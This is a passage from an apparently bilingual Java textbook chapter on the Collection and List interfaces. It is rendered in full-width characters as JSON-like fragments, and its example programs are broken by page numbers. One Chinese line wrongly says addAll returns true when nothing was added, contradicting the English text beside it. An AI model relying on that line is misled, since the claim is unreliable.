ｓｅｔ ｔｈｅｏｒｙ）． Ｒｅｔｕｒｎｓ ｔｒｕｅ ｉｆ ａｎｙ ｃｈａｎｇｅｓ ｏｃｃｕｒｒｅｄ． ｉ ｎ ｔ ｓ ｉ ｚ ｅ （ ） Ｒｅｔｕｒｎｓ ｔｈｅ ｎｕｍｂｅｒ ｏｆ ｅｌｅｍｅｎｔｓ ｉｎ ｔｈｅ Ｃｏｌｌｅｃｔｉｏｎ． Ｏ ｂ ｊ ｅ ｃ ｔ ［ ］ ｔ ｏ Ａ ｒ ｒ ａ ｙ （ ） Ｒｅｔｕｒｎｓ ａｎ ａｒｒａｙ ｃｏｎｔａｉｎｉｎｇ ａｌｌ ｔｈｅ ｅｌｅｍｅｎｔｓ ｉｎ ｔｈｅ Ｃｏｌｌｅｃｔｉｏｎ． Ｏ ｂ ｊ ｅ ｃ ｔ ［ ］ Ｒｅｔｕｒｎｓ ａｎ ａｒｒａｙ ｃｏｎｔａｉｎｉｎｇ ａｌｌ ｔｈｅ ｅｌｅｍｅｎｔｓ ｉｎ ｔｈｅ Ｃｏｌｌｅｃｔｉｏｎ， ｔ ｏ Ａ ｒ ｒ ａ ｙ （ Ｏ ｂ ｊ ｅ ｃ ｔ ［ ］ ａ ） ｗｈｏｓｅ ｔｙｐｅ ｉｓ ｔｈａｔ ｏｆ ｔｈｅ ａｒｒａｙ ａ ｒａｔｈｅｒ ｔｈａｎ ｐｌａｉｎ Ｏ ｂ ｊ ｅ ｃ ｔ （ｙｏｕ ｍｕｓｔ ｃａｓｔ ｔｈｅ ａｒｒａｙ ｔｏ ｔｈｅ ｒｉｇｈｔ ｔｙｐｅ）． ＊Ｔｈｉｓ ｉｓ ａｎ “ｏｐｔｉｏｎａｌ ” ｍｅｔｈｏｄ， ｗｈｉｃｈ ｍｅａｎｓ ｉｔ ｍｉｇｈｔ ｎｏｔ ｂｅ ｉｍｐｌｅｍｅｎｔｅｄ ｂｙ ａ ｐａｒｔｉｃｕｌａｒ Ｃｏｌｌｅｃｔｉｏｎ． Ｉｆ ｎｏｔ， ｔｈａｔ ｍｅｔｈｏｄ ｔｈｒｏｗｓ ａｎ Ｕ ｎ ｓ ｕ ｐ ｐ ｏ ｒ ｔ ｅ ｄ Ｏ ｐ ｅ ｒ ａ ｔ ｉ ｏ ｎ Ｅ ｘ ｃ ｅ ｐ ｔ ｉ ｏ ｎ ． Ｅｘｃｅｐｔｉｏｎｓ ｗｉｌｌ ｂｅ ｃｏｖｅｒｅｄ ｉｎ Ｃｈａｐｔｅｒ ９． ｂｏｏｌｅａｎ ａｄｄ（Ｏｂｊｅｃｔ） ＊保证集合内包含了自变量。"},
    {"text": "如果它没有添加自变量，就返回 ｆａｌｓｅ（假） ｂｏｏｌｅａｎ ａｄｄＡｌｌ（Ｃｏｌｌｅｃｔｉｏｎ） ＊添加自变量内的所有元素。 如果没有添加元素，则返回 ｔｒｕｅ（真） ｖｏｉｄ ｃｌｅａｒ（） ＊删除集合内的所有元素 ｂｏｏｌｅａｎ ｃｏｎｔａｉｎｓ（Ｏｂｊｅｃｔ） 若集合包含自变量，就返回“真” ｂｏｏｌｅａｎ ｃｏｎｔａｉｎｓＡｌｌ（Ｃｏｌｌｅｃｔｉｏｎ） 若集合包含了自变量内的所有元素，就返回“真” ｂｏｏｌｅａｎ ｉｓＥｍｐｔｙ（） 若集合内没有元素，就返回“真” Ｉｔｅｒａｔｏｒ ｉｔｅｒａｔｏｒ（） 返回一个反复器，以用它遍历集合的各元素 ｂｏｏｌｅａｎ ｒｅｍｏｖｅ（Ｏｂｊｅｃｔ） ＊如自变量在集合里，就删除那个元素的一个实例。 如果已进行了删除，就返回 “真” ｂｏｏｌｅａｎ ｒｅｍｏｖｅＡｌｌ（Ｃｏｌｌｅｃｔｉｏｎ） ＊删除自变量里的所有元素。 如果已进行了任何删除，就返回“真” ｂｏｏｌｅａｎ ｒｅｔａｉｎＡｌｌ（Ｃｏｌｌｅｃｔｉｏｎ） ＊只保留包含在一个自变量里的元素（一个理论的“交集”）。 如果已进 行了任何改变，就返回“真” ｉｎｔ ｓｉｚｅ（） 返回集合内的元素数量 Ｏｂｊｅｃｔ［］ ｔｏＡｒｒａｙ（） 返回包含了集合内所有元素的一个数组 ＊这是一个“可选的”方法，有的集合可能并未实现它。"},
    {"text": "若确实如此，该方法就会遇到一个 ＵｎｓｕｐｐｏｒｔｅｄＯｐｅｒａｔｉｉｏｎＥｘｃｅｐｔｉｏｎ，即一个“操作不支持”违例，详见第 ９ 章。"},
    {"text": "同样地，它们只对从集合继承的东西有效，一个 ＡｒｒａｙＬｉｓｔ 作为一种 “不常用的分母”使用： ／／： Ｃｏｌｌｅｃｔｉｏｎ１．ｊａｖａ ／／ Ｔｈｉｎｇｓ ｙｏｕ ｃａｎ ｄｏ ｗｉｔｈ ａｌｌ Ｃｏｌｌｅｃｔｉｏｎｓ ｐａｃｋａｇｅ ｃ０８．ｎｅｗｃｏｌｌｅｃｔｉｏｎｓ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｃｏｌｌｅｃｔｉｏｎ１ ｛ ／／ Ｆｉｌｌ ｗｉｔｈ ＇ｓｉｚｅ＇ ｅｌｅｍｅｎｔｓ， ｓｔａｒｔ ２３６ ／／ ｃｏｕｎｔｉｎｇ ａｔ ＇ｓｔａｒｔ＇： ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｃｏｌｌｅｃｔｉｏｎ ｆｉｌｌ（Ｃｏｌｌｅｃｔｉｏｎ ｃ， ｉｎｔ ｓｔａｒｔ， ｉｎｔ ｓｉｚｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ｓｔａｒｔ；"},
    {"text": "ｉ ＜ ｓｔａｒｔ ＋ ｓｉｚｅ； ｉ＋＋） ｃ．ａｄｄ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｉ））； ｒｅｔｕｒｎ ｃ； ｝ ／／ Ｄｅｆａｕｌｔ ｔｏ ａ ＂ｓｔａｒｔ＂ ｏｆ ０： ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｃｏｌｌｅｃｔｉｏｎ ｆｉｌｌ（Ｃｏｌｌｅｃｔｉｏｎ ｃ， ｉｎｔ ｓｉｚｅ） ｛ ｒｅｔｕｒｎ ｆｉｌｌ（ｃ， ０， ｓｉｚｅ）； ｝ ／／ Ｄｅｆａｕｌｔ ｔｏ １０ ｅｌｅｍｅｎｔｓ： ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｃｏｌｌｅｃｔｉｏｎ ｆｉｌｌ（Ｃｏｌｌｅｃｔｉｏｎ ｃ） ｛ ｒｅｔｕｒｎ ｆｉｌｌ（ｃ， ０， １０）； ｝ ／／ Ｃｒｅａｔｅ ＆ ｕｐｃａｓｔ ｔｏ Ｃｏｌｌｅｃｔｉｏｎ： ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｃｏｌｌｅｃｔｉｏｎ ｎｅｗＣｏｌｌｅｃｔｉｏｎ（） ｛ ｒｅｔｕｒｎ ｆｉｌｌ（ｎｅｗ ＡｒｒａｙＬｉｓｔ（））； ／／ ＡｒｒａｙＬｉｓｔ ｉｓ ｕｓｅｄ ｆｏｒ ｓｉｍｐｌｉｃｉｔｙ， ｂｕｔ ｉｔ＇ｓ ／／ ｏｎｌｙ ｓｅｅｎ ａｓ ａ ｇｅｎｅｒｉｃ Ｃｏｌｌｅｃｔｉｏｎ ／／ ｅｖｅｒｙｗｈｅｒｅ ｅｌｓｅ ｉｎ ｔｈｅ ｐｒｏｇｒａｍ． ｝ ／／ Ｆｉｌｌ ａ Ｃｏｌｌｅｃｔｉｏｎ ｗｉｔｈ ａ ｒａｎｇｅ ｏｆ ｖａｌｕｅｓ： ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｃｏｌｌｅｃｔｉｏｎ ｎｅｗＣｏｌｌｅｃｔｉｏｎ（ｉｎｔ ｓｔａｒｔ， ｉｎｔ ｓｉｚｅ） ｛ ｒｅｔｕｒｎ ｆｉｌｌ（ｎｅｗ ＡｒｒａｙＬｉｓｔ（）， ｓｔａｒｔ， ｓｉｚｅ）； ｝ ／／ Ｍｏｖｉｎｇ ｔｈｒｏｕｇｈ ａ Ｌｉｓｔ ｗｉｔｈ ａｎ ｉｔｅｒａｔｏｒ： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｉｎｔ（Ｃｏｌｌｅｃｔｉｏｎ ｃ） ｛ ｆｏｒ（Ｉｔｅｒａｔｏｒ ｘ ＝ ｃ．ｉｔｅｒａｔｏｒ（）； ｘ．ｈａｓＮｅｘｔ（）； ） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ｘ．ｎｅｘｔ（） ＋ ＂ ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｃｏｌｌｅｃｔｉｏｎ ｃ ＝ ｎｅｗＣｏｌｌｅｃｔｉｏｎ（）； ｃ．ａｄｄ（＂ｔｅｎ＂）； ｃ．ａｄｄ（＂ｅｌｅｖｅｎ＂）； ｐｒｉｎｔ（ｃ）； ／／ Ｍａｋｅ ａｎ ａｒｒａｙ ｆｒｏｍ ｔｈｅ Ｌｉｓｔ： Ｏｂｊｅｃｔ［］ ａｒｒａｙ ＝ ｃ．ｔｏＡｒｒａｙ（）； ／／ Ｍａｋｅ ａ Ｓｔｒｉｎｇ ａｒｒａｙ ｆｒｏｍ ｔｈｅ Ｌｉｓｔ： Ｓｔｒｉｎｇ［］ ｓｔｒ ＝ （Ｓｔｒｉｎｇ［］）ｃ．ｔｏＡｒｒａｙ（ｎｅｗ Ｓｔｒｉｎｇ［１］）； ／／ Ｆｉｎｄ ｍａｘ ａｎｄ ｍｉｎ ｅｌｅｍｅｎｔｓ； ｔｈｉｓ ｍｅａｎｓ ／／ ｄｉｆｆｅｒｅｎｔ ｔｈｉｎｇｓ ｄｅｐｅｎｄｉｎｇ ｏｎ ｔｈｅ ｗａｙ ／／ ｔｈｅ Ｃｏｍｐａｒａｂｌｅ ｉｎｔｅｒｆａｃｅ ｉｓ ｉｍｐｌｅｍｅｎｔｅｄ： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｏｌｌｅｃｔｉｏｎｓ．ｍａｘ（ｃ） ＝ ＂ ＋ Ｃｏｌｌｅｃｔｉｏｎｓ．ｍａｘ（ｃ））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｏｌｌｅｃｔｉｏｎｓ．ｍｉｎ（ｃ） ＝ ＂ ＋ Ｃｏｌｌｅｃｔｉｏｎｓ．ｍｉｎ（ｃ））； ／／ Ａｄｄ ａ Ｃｏｌｌｅｃｔｉｏｎ ｔｏ ａｎｏｔｈｅｒ Ｃｏｌｌｅｃｔｉｏｎ ２３７ ｃ．ａｄｄＡｌｌ（ｎｅｗＣｏｌｌｅｃｔｉｏｎ（））； ｐｒｉｎｔ（ｃ）； ｃ．ｒｅｍｏｖｅ（＂３＂）； ／／ Ｒｅｍｏｖｅｓ ｔｈｅ ｆｉｒｓｔ ｏｎｅ ｐｒｉｎｔ（ｃ）； ｃ．ｒｅｍｏｖｅ（＂３＂）； ／／ Ｒｅｍｏｖｅｓ ｔｈｅ ｓｅｃｏｎｄ ｏｎｅ ｐｒｉｎｔ（ｃ）； ／／ Ｒｅｍｏｖｅ ａｌｌ ｃｏｍｐｏｎｅｎｔｓ ｔｈａｔ ａｒｅ ｉｎ ｔｈｅ ／／ ａｒｇｕｍｅｎｔ ｃｏｌｌｅｃｔｉｏｎ： ｃ．ｒｅｍｏｖｅＡｌｌ（ｎｅｗＣｏｌｌｅｃｔｉｏｎ（））； ｐｒｉｎｔ（ｃ）； ｃ．ａｄｄＡｌｌ（ｎｅｗＣｏｌｌｅｃｔｉｏｎ（））； ｐｒｉｎｔ（ｃ）； ／／ Ｉｓ ａｎ ｅｌｅｍｅｎｔ ｉｎ ｔｈｉｓ Ｃｏｌｌｅｃｔｉｏｎ？ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｃ．ｃｏｎｔａｉｎｓ（＼＂４＼＂） ＝ ＂ ＋ ｃ．ｃｏｎｔａｉｎｓ（＂４＂））； ／／ Ｉｓ ａ Ｃｏｌｌｅｃｔｉｏｎ ｉｎ ｔ ｈｉｓ Ｃｏｌｌｅｃｔｉｏｎ？ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｃ．ｃｏｎｔａｉｎｓＡｌｌ（ｎｅｗＣｏｌｌｅｃｔｉｏｎ（）） ＝ ＂ ＋ ｃ．ｃｏｎｔａｉｎｓＡｌｌ（ｎｅｗＣｏｌｌｅｃｔｉｏｎ（）））； Ｃｏｌｌｅｃｔｉｏｎ ｃ２ ＝ ｎｅｗＣｏｌｌｅｃｔｉｏｎ（５， ３）； ／／ Ｋｅｅｐ ａｌｌ ｔｈｅ ｅｌｅｍｅｎｔｓ ｔｈａｔ ａｒｅ ｉｎ ｂｏｔｈ ／／ ｃ ａｎｄ ｃ２ （ａｎ ｉｎｔｅｒｓｅｃｔｉｏｎ ｏｆ ｓｅｔｓ）： ｃ．ｒｅｔａｉｎＡｌｌ（ｃ２）； ｐｒｉｎｔ（ｃ）； ／／ Ｔｈｒｏｗ ａｗａｙ ａｌｌ ｔｈｅ ｅｌｅｍｅｎｔｓ ｉｎ ｃ ｔｈａｔ ／／ ａｌｓｏ ａｐｐｅａｒ ｉｎ ｃ２： ｃ．ｒｅｍｏｖｅＡｌｌ（ｃ２）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｃ．ｉｓＥｍｐｔｙ（） ＝ ＂ ＋ ｃ．ｉｓＥｍｐｔｙ（））； ｃ ＝ ｎｅｗＣｏｌｌｅｃｔｉｏｎ（）； ｐｒｉｎｔ（ｃ）； ｃ．ｃｌｅａｒ（）； ／／ Ｒｅｍｏｖｅ ａｌｌ ｅｌｅｍｅｎｔｓ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ａｆｔｅｒ ｃ．ｃｌｅａｒ（）：＂）； ｐｒｉｎｔ（ｃ）；"},
    {"text": "由于它用一个反复器（Ｉｔｅｒａｔｏｒ ）在一个集合内遍历，而任何集合都可以 产生这样的一个反复器，所以它适用于 Ｌｉｓｔ 和 Ｓｅｔ，也适用于由一个 Ｍａｐ 生成的 Ｃｏｌｌｅｃｔｉｏｎ。"},
    {"text": "ｉｔ ｐｒｏｍｉｓｅｓ ｔｏ ｍａｉｎｔａｉｎ ｅｌｅｍｅｎｔｓ ２３８ （ｉｎｔｅｒｆａｃｅ） ｉｎ ａ ｐａｒｔｉｃｕｌａｒ ｓｅｑｕｅｎｃｅ． Ｌ ｉ ｓ ｔ ａｄｄｓ ａ ｎｕｍｂｅｒ ｏｆ ｍｅｔｈｏｄｓ ｔｏ Ｃ ｏ ｌ ｌ ｅ ｃ ｔ ｉ ｏ ｎ ｔｈａｔ ａｌｌｏｗ ｉｎｓｅｒｔｉｏｎ ａｎｄ ｒｅｍｏｖａｌ ｏｆ ｅｌｅｍｅｎｔｓ ｉｎ ｔｈｅ ｍｉｄｄｌｅ ｏｆ ａ Ｌ ｉ ｓ ｔ ． （Ｔｈｉｓ ｉｓ ｒｅｃｏｍｍｅｎｄｅｄ ｏｎｌｙ ｆｏｒ ａ Ｌ ｉ ｎ ｋ ｅ ｄ Ｌ ｉ ｓ ｔ ． ） Ａ Ｌ ｉ ｓ ｔ ｗｉｌｌ ｐｒｏｄｕｃｅ ａ Ｌ ｉ ｓ ｔ Ｉ ｔ ｅ ｒ ａ ｔ ｏ ｒ ， ａｎｄ ｕｓｉｎｇ ｔｈｉｓ ｙｏｕ ｃａｎ ｔｒａｖｅｒｓｅ ｔｈｅ Ｌ ｉ ｓ ｔ ｉｎ ｂｏｔｈ ｄｉｒｅｃｔｉｏｎｓ， ａｓ ｗｅｌｌ ａｓ ｉｎｓｅｒｔ ａｎｄ ｒｅｍｏｖｅ ｅｌｅｍｅｎｔｓ ｉｎ ｔｈｅ ｍｉｄｄｌｅ ｏｆ ｔｈｅ ｌｉｓｔ （ａｇａｉｎ， ｒｅｃｏｍｍｅｎｄｅｄ ｏｎｌｙ ｆｏｒ ａ Ｌ ｉ ｎ ｋ ｅ ｄ Ｌ ｉ ｓ ｔ ）． Ａ ｒ ｒ ａ ｙ Ｌ ｉ ｓ ｔ ＊ Ａ Ｌ ｉ ｓ ｔ ｂａｃｋｅｄ ｂｙ ａｎ ａｒｒａｙ． Ｕｓｅ ｉｎｓｔｅａｄ ｏｆ Ｖ ｅ ｃ ｔ ｏ ｒ ａｓ ａ ｇｅｎｅｒａｌ－ｐｕｒｐｏｓｅ ｏｂｊｅｃｔ ｈｏｌｄｅｒ． Ａｌｌｏｗｓ ｒａｐｉｄ ｒａｎｄｏｍ ａｃｃｅｓｓ ｔｏ ｅｌｅｍｅｎｔｓ， ｂｕｔ ｉｓ ｓｌｏｗ ｗｈｅｎ ｉｎｓｅｒｔｉｎｇ ａｎｄ ｒｅｍｏｖｉｎｇ ｅｌｅｍｅｎｔｓ ｆｒｏｍ ｔｈｅ ｍｉｄｄｌｅ ｏｆ ａ ｌｉｓｔ． Ｌ ｉ ｓ ｔ Ｉ ｔ ｅ ｒ ａ ｔ ｏ ｒ ｓｈｏｕｌｄ ｂｅ ｕｓｅｄ ｏｎｌｙ ｆｏｒ ｂａｃｋ－ａｎｄ－ｆｏｒｔｈ ｔｒａｖｅｒｓａｌ ｏｆ ａｎ Ａ ｒ ｒ ａ ｙ Ｌ ｉ ｓ ｔ ， ｂｕｔ ｎｏｔ ｆｏｒ ｉｎｓｅｒｔｉｎｇ ａｎｄ ｒｅｍｏｖｉｎｇ ｅｌｅｍｅｎｔｓ， ｗｈｉｃｈ ｉｓ ｅｘｐｅｎｓｉｖｅ ｃｏｍｐａｒｅｄ ｔｏ Ｌ ｉ ｎ ｋ ｅ ｄ Ｌ ｉ ｓ ｔ ． Ｌ ｉ ｎ ｋ ｅ ｄ Ｌ ｉ ｓ ｔ Ｐｒｏｖｉｄｅｓ ｏｐｔｉｍａｌ ｓｅｑｕｅｎｔｉａｌ ａｃｃｅｓｓ， ｗｉｔｈ ｉｎｅｘｐｅｎｓｉｖｅ ｉｎｓｅｒｔｉｏｎｓ ａｎｄ ｄｅｌｅｔｉｏｎｓ ｆｒｏｍ ｔｈｅ ｍｉｄｄｌｅ ｏｆ ｔｈｅ ｌｉｓｔ． Ｒｅｌａｔｉｖｅｌｙ ｓｌｏｗ ｆｏｒ ｒａｎｄｏｍ ａｃｃｅｓｓ． （Ｕｓｅ Ａ ｒ ｒ ａ ｙ Ｌ ｉ ｓ ｔ ｉｎｓｔｅａｄ．） Ａｌｓｏ ｈａｓ ａ ｄ ｄ Ｆ ｉ ｒ ｓ ｔ （ ） ， ａ ｄ ｄ Ｌ ａ ｓ ｔ （ ） ， ｇ ｅ ｔ Ｆ ｉ ｒ ｓ ｔ （ ） ， ｇ ｅ ｔ Ｌ ａ ｓ ｔ （ ） ， ｒ ｅ ｍ ｏ ｖ ｅ Ｆ ｉ ｒ ｓ ｔ （ ） ， ａｎｄ ｒ ｅ ｍ ｏ ｖ ｅ Ｌ ａ ｓ ｔ （ ） （ｗｈｉｃｈ ａｒｅ ｎｏｔ ｄｅｆｉｎｅｄ ｉｎ ａｎｙ ｉｎｔｅｒｆａｃｅｓ ｏｒ ｂａｓｅ ｃｌａｓｓｅｓ） ｔｏ ａｌｌｏｗ ｉｔ ｔｏ ｂｅ ｕｓｅｄ ａｓ ａ ｓｔａｃｋ， ａ ｑｕｅｕｅ， ａｎｄ ａ ｄｅｑｕｅｕｅ． Ｌｉｓｔ（接口） 顺序是 Ｌｉｓｔ 最重要的特性；"},
    {"text": "Ｌｉｓｔ 为 Ｃｏｌｌｅｃｔｉｏｎ 添加了 大量方法，以便我们在 Ｌｉｓｔ 中部插入和删除元素（只推荐对 ＬｉｎｋｅｄＬｉｓｔ 这样做）。 Ｌｉｓｔ 也会生成一个 ＬｉｓｔＩｔｅｒａｔｏｒ（列表反复器），利用它可在一个列表里朝两个方向遍历，同时插入和删除位于列表中部的元 素（同样地，只建议对 ＬｉｎｋｅｄＬｉｓｔ 这样做） ＡｒｒａｙＬｉｓｔ＊ 由一个数组后推得到的 Ｌｉｓｔ。"},
    {"text": "与 ＬｉｎｋｅｄＬｉｓｔ 相比，它的效率要低许多 ＬｉｎｋｅｄＬｉｓｔ 提供优化的顺序访问性能，同时可以高效率地在列表中部进行插入和删除操作。"},
    {"text": "也提供了 ａｄｄＦｉｒｓｔ（），ａｄｄＬａｓｔ（），ｇｅｔＦｉｒｓｔ（）， ｇｅｔＬａｓｔ（），ｒｅｍｏｖｅＦｉｒｓｔ（） 以及 ｒｅｍｏｖｅＬａｓｔ（）（未在任何接口或基础类中定义），以便将其作为一个规格、 队列以及一个双向队列使用 下面这个例子中的方法每个都覆盖了一组不同的行为：每个列表都能做的事情（ｂａｓｉｃＴｅｓｔ（）），通过一个反 复器遍历（ｉｔｅｒＭｏｔｉｏｎ（））、用一个反复器改变某些东西（ｉｔｅｒＭａｎｉｐｕｌａｔｉｏｎ（））、体验列表处理的效果 （ｔｅｓｔＶｉｓｕａｌ（））以及只有 ＬｉｎｋｅｄＬｉｓｔ 才能做的事情等： ／／： Ｌｉｓｔ１．ｊａｖａ ／／ Ｔｈｉｎｇｓ ｙｏｕ ｃａｎ ｄｏ ｗｉｔｈ Ｌｉｓｔｓ ｐａｃｋａｇｅ ｃ０８．ｎｅｗｃｏｌｌｅｃｔｉｏｎｓ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｌｉｓｔ１ ｛ ／／ Ｗｒａｐ Ｃｏｌｌｅｃｔｉｏｎ１．ｆｉｌｌ（） ｆｏｒ ｃｏｎｖｅｎｉｅｎｃｅ： ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｌｉｓｔ ｆｉｌｌ（Ｌｉｓｔ ａ） ｛ ｒｅｔｕｒｎ （Ｌｉｓｔ）Ｃｏｌｌｅｃｔｉｏｎ１．ｆｉｌｌ（ａ）； ｝ ／／ Ｙｏｕ ｃａｎ ｕｓｅ ａｎ Ｉｔｅｒａｔｏｒ， ｊｕｓｔ ａｓ ｗｉｔｈ ａ ／／ Ｃｏｌｌｅｃｔｉｏｎ， ｂｕｔ ｙｏｕ ｃａｎ ａｌｓｏ ｕｓｅ ｒａｎｄｏｍ ／／ ａｃｃｅｓｓ ｗｉｔｈ ｇｅｔ（）： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｉｎｔ（Ｌｉｓｔ ａ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａ．ｓｉｚｅ（）； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ａ．ｇｅｔ（ｉ） ＋ ＂ ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（）； ｝ ２３９ ｓｔａｔｉｃ ｂｏｏｌｅａｎ ｂ； ｓｔａｔｉｃ Ｏｂｊｅｃｔ ｏ； ｓｔａｔｉｃ ｉｎｔ ｉ； ｓｔａｔｉｃ Ｉｔｅｒａｔｏｒ ｉｔ； ｓｔａｔｉｃ ＬｉｓｔＩｔｅｒａｔｏｒ ｌｉｔ； ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｂａｓｉｃＴｅｓｔ（Ｌｉｓｔ ａ） ｛ ａ．ａｄｄ（１， ＂ｘ＂）； ／／ Ａｄｄ ａｔ ｌｏｃａｔｉｏｎ １ ａ．ａｄｄ（＂ｘ＂）； ／／ Ａｄｄ ａｔ ｅｎｄ ／／ Ａｄｄ ａ ｃｏｌｌｅｃｔｉｏｎ： ａ．ａｄｄＡｌｌ（ｆｉｌｌ（ｎｅｗ ＡｒｒａｙＬｉｓｔ（）））； ／／ Ａｄｄ ａ ｃｏｌｌｅｃｔｉｏｎ ｓｔａｒｔｉｎｇ ａｔ ｌｏｃａｔｉｏｎ ３： ａ．ａｄｄＡｌｌ（３， ｆｉｌｌ（ｎｅｗ ＡｒｒａｙＬｉｓｔ（）））； ｂ ＝ ａ．ｃｏｎｔａｉｎｓ（＂１＂）；"},
    {"text": "ｂ ＝ ａ．ｃｏｎｔａｉｎｓＡｌｌ（ｆｉｌｌ（ｎｅｗ ＡｒｒａｙＬｉｓｔ（）））； ／／ Ｌｉｓｔｓ ａｌｌｏｗ ｒａｎｄｏｍ ａｃｃｅｓｓ， ｗｈｉｃｈ ｉｓ ｃｈｅａｐ ／／ ｆｏｒ ＡｒｒａｙＬｉｓｔ， ｅｘｐｅｎｓｉｖｅ ｆｏｒ ＬｉｎｋｅｄＬｉｓｔ： ｏ ＝ ａ．ｇｅｔ（１）； ／／ Ｇｅｔ ｏｂｊｅｃｔ ａｔ ｌｏｃａｔｉｏｎ １ ｉ ＝ ａ．ｉｎｄｅｘＯｆ（＂１＂）； ／／ Ｔｅｌｌ ｉｎｄｅｘ ｏｆ ｏｂｊｅｃｔ ／／ ｉｎｄｅｘＯｆ， ｓｔａｒｔｉｎｇ ｓｅａｒｃｈ ａｔ ｌｏｃａｔｉｏｎ ２： ｉ ＝ ａ．ｉｎｄｅｘＯｆ（＂１＂， ２）； ｂ ＝ ａ．ｉｓＥｍｐｔｙ（）； ／／ Ａｎｙ ｅｌｅｍｅｎｔｓ ｉｎｓｉｄｅ？ ｉｔ ＝ ａ．ｉｔｅｒａｔｏｒ（）； ／／ Ｏｒｄｉｎａｒｙ Ｉｔｅｒａｔｏｒ ｌｉｔ ＝ ａ．ｌｉｓｔＩｔｅｒａｔｏｒ（）； ／／ ＬｉｓｔＩｔｅｒａｔｏｒ ｌｉｔ ＝ ａ．ｌｉｓｔＩｔｅｒａｔｏｒ（３）； ／／ Ｓｔａｒｔ ａｔ ｌｏｃ ３ ｉ ＝ ａ．ｌａｓｔＩｎｄｅｘＯｆ（＂１＂）； ／／ Ｌａｓｔ ｍａｔｃｈ ｉ ＝ ａ．ｌａｓｔＩｎｄｅｘＯｆ（＂１＂， ２）； ／／ ．．．ａｆｔｅｒ ｌｏｃ ２ ａ．ｒｅｍｏｖｅ（１）； ／／ Ｒｅｍｏｖｅ ｌｏｃａｔｉｏｎ １ ａ．ｒｅｍｏｖｅ（＂３＂）； ／／ Ｒｅｍｏｖｅ ｔｈｉｓ ｏｂｊｅｃｔ ａ．ｓｅｔ（１， ＂ｙ＂）； ／／ Ｓｅｔ ｌｏｃａｔｉｏｎ １ ｔｏ ＂ｙ＂ ／／ Ｋｅｅｐ ｅｖｅｒｙｔｈｉｎｇ ｔｈａｔ＇ｓ ｉｎ ｔｈｅ ａｒｇｕｍｅｎｔ ／／ （ｔｈｅ ｉｎｔｅｒｓｅｃｔｉｏｎ ｏｆ ｔｈｅ ｔｗｏ ｓｅｔｓ）： ａ．ｒｅｔａｉｎＡｌｌ（ｆｉｌｌ（ｎｅｗ ＡｒｒａｙＬｉｓｔ（）））； ／／ Ｒｅｍｏｖｅ ｅｌｅｍｅｎｔｓ ｉｎ ｔｈｉｓ ｒａｎｇｅ： ａ．ｒｅｍｏｖｅＲａｎｇｅ（０， ２）； ／／ Ｒｅｍｏｖｅ ｅｖｅｒｙｔｈｉｎｇ ｔｈａｔ＇ｓ ｉｎ ｔｈｅ ａｒｇｕｍｅｎｔ： ａ．ｒｅｍｏｖｅＡｌｌ（ｆｉｌｌ（ｎｅｗ ＡｒｒａｙＬｉｓｔ（）））； ｉ ＝ ａ．ｓｉｚｅ（）； ／／ Ｈｏｗ ｂｉｇ ｉｓ ｉｔ？ ａ．ｃｌｅａｒ（）； ／／ Ｒｅｍｏｖｅ ａｌｌ ｅｌｅｍｅｎｔｓ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｉｔｅｒＭｏｔｉｏｎ（Ｌｉｓｔ ａ） ｛ ＬｉｓｔＩｔｅｒａｔｏｒ ｉｔ ＝ ａ．ｌｉｓｔＩｔｅｒａｔｏｒ（）； ｂ ＝ ｉｔ．ｈａｓＮｅｘｔ（）； ｂ ＝ ｉｔ．ｈａｓＰｒｅｖｉｏｕｓ（）； ｏ ＝ ｉｔ．ｎｅｘｔ（）； ｉ ＝ ｉｔ．ｎｅｘｔＩｎｄｅｘ（）； ｏ ＝ ｉｔ．ｐｒｅｖｉｏｕｓ（）； ｉ ＝ ｉｔ．ｐｒｅｖｉｏｕｓＩｎｄｅｘ（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｉｔｅｒＭａｎｉｐｕｌａｔｉｏｎ（Ｌｉｓｔ ａ） ｛ ＬｉｓｔＩｔｅｒａｔｏｒ ｉｔ ＝ ａ．ｌｉｓｔＩｔｅｒａｔｏｒ（）； ｉｔ．ａｄｄ（＂４７＂）； ２４０ ／／ Ｍｕｓｔ ｍｏｖｅ ｔｏ ａｎ ｅｌｅｍｅｎｔ ａｆｔｅｒ ａｄｄ（）： ｉｔ．ｎｅｘｔ（）； ／／ Ｒｅｍｏｖｅ ｔｈｅ ｅｌｅｍｅｎｔ ｔｈａｔ ｗａｓ ｊｕｓｔ ｐｒｏｄｕｃｅｄ： ｉｔ．ｒｅｍｏｖｅ（）； ／／ 